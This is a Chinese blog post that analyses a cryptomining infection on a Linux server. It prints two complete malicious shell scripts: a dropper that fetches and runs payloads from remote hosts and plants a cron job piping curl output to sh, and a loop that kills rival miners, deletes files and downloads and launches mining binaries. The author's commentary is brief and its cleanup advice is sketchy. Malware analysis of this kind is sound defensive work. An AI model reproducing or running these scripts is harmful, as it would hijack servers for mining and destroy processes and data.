banner

linux服务器被挖矿脚本分析

本文目录
[隐藏]

今天,群里有朋友@我,说服务器中病毒了,让帮忙查看下一下的脚本。本身,对于shell脚本下的病毒还是很感兴趣的,于是就分析了下脚本。


#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
#export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
#chmod +x /tmp/hawk && ps auxf | grep -v grep | grep hawk || nohup /tmp/hawk >/dev/null 2>&1 &
rm -rf /tmp/config.txt
whoami=$( whoami )
if [ ${whoami}x != "root"x ];then
 
curl http://abcde.sw5y.com/l2/lowerv2.sh > /tmp/lower.sh
  
chmod 777 /tmp/lower.sh
  
nohup bash /tmp/lower.sh >/dev/null 2>&1 &
 
if [ ! -f "/tmp/lower.sh" ] ;then
  
wget -P /tmp/ http://abcde.sw5y.com/l2/lowerv2.sh
  
rm /tmp/lower.sh.*
    
rm /tmp/lowerv2.sh.*
 
fi
  
chmod 777 /tmp/lowerv2.sh
  
nohup bash /tmp/lowerv2.sh >/dev/null 2>&1 &
else
  
echo "*/5 * * * * curl -sL https://x.co/6nPMR | sh" > /var/spool/cron/root
  
mkdir -p /var/spool/cron/crontabs
  
echo "*/5 * * * * curl -sL https://x.co/6nPMR | sh" > /var/spool/cron/crontabs/root
 
curl http://abcde.sw5y.com/l2/rootv2.sh > /tmp/root.sh
  
chmod 777 /tmp/root.sh
  
nohup bash /tmp/root.sh>/dev/null 2>&1 &
 
if [ ! -f "/tmp/root.sh" ] ;then
  
wget -P /tmp/ http://abcde.sw5y.com/l2/rootv2.sh
  
rm /tmp/root.sh.*
    
rm /tmp/rootv2.sh.*
 
fi
 
chmod 777 /tmp/rootv2.sh
 
nohup bash /tmp/rootv2.sh >/dev/null 2>&1 &
fi

这个脚本大致分析下,无非是判断用户不为空不是root的话,且如果不存在/tmp/lower.sh文件就下载运行。如果是root用户,就写crontab计划任务每5分钟下载一次脚本。并将脚本重定向到/tmp/root.sh下执行。

那么这个一直被强调下载的rootv2.sh是什么内容呢?

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f AnXqV.yam
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
PORT_NUMBER=3333
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
}
function downloadyam() {
 if [ ! -f "/tmp/config.json" ]; then
   curl http://abcde.sw5y.com/l2/config.json -o /tmp/config.json && chmod +x /tmp/config.json
   if [ ! -f "/tmp/config.json" ]; then
    wget http://abcde.sw5y.com/l2/config.json -P /tmp && chmod +x /tmp/config.json
    rm -rf config.json.*
   fi
 fi
 if [ ! -f "/tmp/bashd" ]; then
   curl http://abcde.sw5y.com/l2/bashd -o /tmp/bashd && chmod +x /tmp/bashd
   if [ ! -f "/tmp/bashd" ]; then
    wget http://abcde.sw5y.com/l2/bashd -P /tmp && chmod +x /tmp/bashd
    rm -rf bashd.*
   fi
   nohup /tmp/bashd -p bashd>/dev/null 2>&1 &
 else
   p=$(ps aux | grep bashd | grep -v grep | wc -l)
   if [ ${p} -eq 1 ];then
    echo "bashd"
   elif [ ${p} -eq 0 ];then
    #nohup /tmp/bashd -p $(hostname)>/dev/null 2>&1 &
    nohup /tmp/bashd -p bashd>/dev/null 2>&1 &
   else
    echo ""
   fi
 fi
 sleep 15
 p=$(ps aux | grep bashd | grep -v grep | wc -l)
 if [ ${p} -eq 1 ];then
  echo "bashd"
 elif [ ${p} -eq 0 ];then
  if [ ! -f "/tmp/pools.txt" ]; then
    curl http://abcde.sw5y.com/l2/pools.txt -o /tmp/pools.txt && chmod +x /tmp/pools.txt
    if [ ! -f "/tmp/pools.txt" ]; then
     wget http://abcde.sw5y.com/l2/pools.txt -P /tmp && chmod +x /tmp/pools.txt
     rm -rf pools.txt.*
    fi
  fi
  if [ ! -f "/tmp/bashe" ]; then
    curl http://abcde.sw5y.com/l2/bashe -o /tmp/bashe && chmod +x /tmp/bashe
    if [ ! -f "/tmp/bashe" ]; then
     wget http://abcde.sw5y.com/l2/bashe -P /tmp && chmod +x /tmp/bashe
     rm -rf bashe.*
    fi
    nohup /tmp/bashe -C /tmp/pools.txt>/dev/null 2>&1 &
  else
    p=$(ps aux | grep bashe | grep -v grep | wc -l)
    if [ ${p} -eq 1 ];then
     echo "bashe"
    elif [ ${p} -eq 0 ];then
     nohup /tmp/bashe -C /tmp/pools.txt>/dev/null 2>&1 &
    else
     echo ""
    fi
  fi
 else
  echo ""
 fi
 sleep 15
 if [ ! -f "/tmp/Xagent" ]; then
     curl http://xmr.enjoytopic.tk/l3/Xagent -o /tmp/Xagent && chmod +x /tmp/Xagent
     if [ ! -f "/tmp/Xagent" ]; then
       wget http://xmr.enjoytopic.tk/l3/Xagent -P /tmp && chmod +x /tmp/Xagent
       rm -rf Xagent.*
     fi
     nohup /tmp/Xagent >/dev/null 2>&1 &
 else
   p=$(ps aux | grep Xagent | grep -v grep | wc -l)
   if [ ${p} -eq 1 ];then
    echo "Xagent"
   elif [ ${p} -eq 0 ];then
    nohup /tmp/Xagent >/dev/null 2>&1 &
   else
    echo ""
   fi
 fi
}
cd /tmp/
while [ 1 ]
do
 kills
 downloadyam
 sleep 600
done

这个脚本大致看了下,一个kills函数和downloadyam函数,kills函数是删除各种服务,脚本。不看不知道,原来他还会下载这么多东西啊。关键是downloadyam函数,满满的都是各种恶意。一小时执行一遍删除然后下载,是为了什么呢?

分析结果

这个脚本很简单,预防他是在/tmp/目录下创建lower.sh及rootv2.sh脚本,将第一个脚本删除。修改第二个脚本的while判断处,将downloadyam函数删除。

如果已经中病毒,那么就使用删除downloadyam函数的脚本执行就可以清除病毒。

推荐阅读:

rhel7/centos7下transparent_hugepage=never不生效

留言本

http跳转301到https不能访问

阅读: 2949
在同意共创许可协议(CC BY-NC-SA-4.0)的前提下,您可以转载本文。
付生保个人博客
https://shengbao.org/699.html

留言评论

暂无留言